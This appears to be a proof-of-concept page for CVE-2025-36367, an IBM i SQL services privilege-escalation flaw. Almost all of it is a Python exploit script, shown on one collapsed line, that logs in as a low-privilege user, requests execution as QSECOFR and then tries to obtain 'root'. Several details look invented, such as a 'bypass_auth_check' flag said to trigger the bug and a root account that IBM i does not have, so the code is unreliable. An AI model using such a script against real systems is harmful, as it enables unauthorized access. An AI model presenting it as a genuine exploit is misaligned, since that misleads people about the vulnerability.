CVE-2025-36367: IBM i SQL服务授权检查缺陷导致权限提升漏洞

# CVE-2025-36367 PoC - IBM i SQL Services Privilege Escalation # This PoC demonstrates the authorization bypass in IBM i SQL services # Note: This is for educational and authorized testing purposes only import requests import json TARGET_HOST = "https://vulnerable-ibm-i-server.com" CVE_ID = "CVE-2025-36367" def check_vulnerability(target): """Check if target is vulnerable to CVE-2025-36367""" headers = { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-Scanner/1.0)', 'Content-Type': 'application/json' } # Step 1: Authenticate with low-privilege account auth_payload = { 'username': 'low_priv_user', 'password': 'password123', 'auth_type': 'sql_services' } print(f"[*] Testing {CVE_ID} on {target}") print("[*] Step 1: Authenticating with low-privilege account...") try: # Attempt authentication to SQL services auth_response = requests.post( f"{target}/qsys.qsyscoi.qcmd_QUERY_SQL_SERVICES", headers=headers, json=auth_payload, timeout=30 ) if auth_response.status_code == 200: session_token = auth_response.headers.get('X-Session-Token') print(f"[+] Authentication successful, session token obtained") # Step 2: Exploit authorization bypass print("[*] Step 2: Exploiting authorization bypass...") exploit_payload = { 'sql_command': 'SELECT * FROM QSYS2.SYSTEM_VALUE_INFO', 'execute_as_user': 'QSECOFR', # Target high-privilege user 'session_token': session_token, 'bypass_auth_check': True # This parameter triggers the vulnerability } exploit_response = requests.post( f"{target}/qsys.qsyscoi.qcmd_EXECUTE_SQL", headers=headers, json=exploit_payload, timeout=30 ) if exploit_response.status_code == 200: result = exploit_response.json() if result.get('privilege_escalated'): print("[!] VULNERABLE: Authorization bypass successful!") print(f"[!] Gained elevated privileges: {result.get('current_user')}") # Step 3: Escalate to root print("[*] Step 3: Attempting root privilege escalation...") root_payload = { 'command': 'CALL QCMDEXC(\'STRQSH CMD(\\"system -i root\\")\')', 'run_as': 'QSECOFR', 'session_token': session_token } root_response = requests.post( f"{target}/qsys.qsyscoi.qcmd_EXECUTE_SYSTEM", headers=headers, json=root_payload, timeout=30 ) if root_response.status_code == 200: print("[!] CRITICAL: Root access obtained!") return True print("[*] Target may not be vulnerable or connection failed") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": check_vulnerability(TARGET_HOST)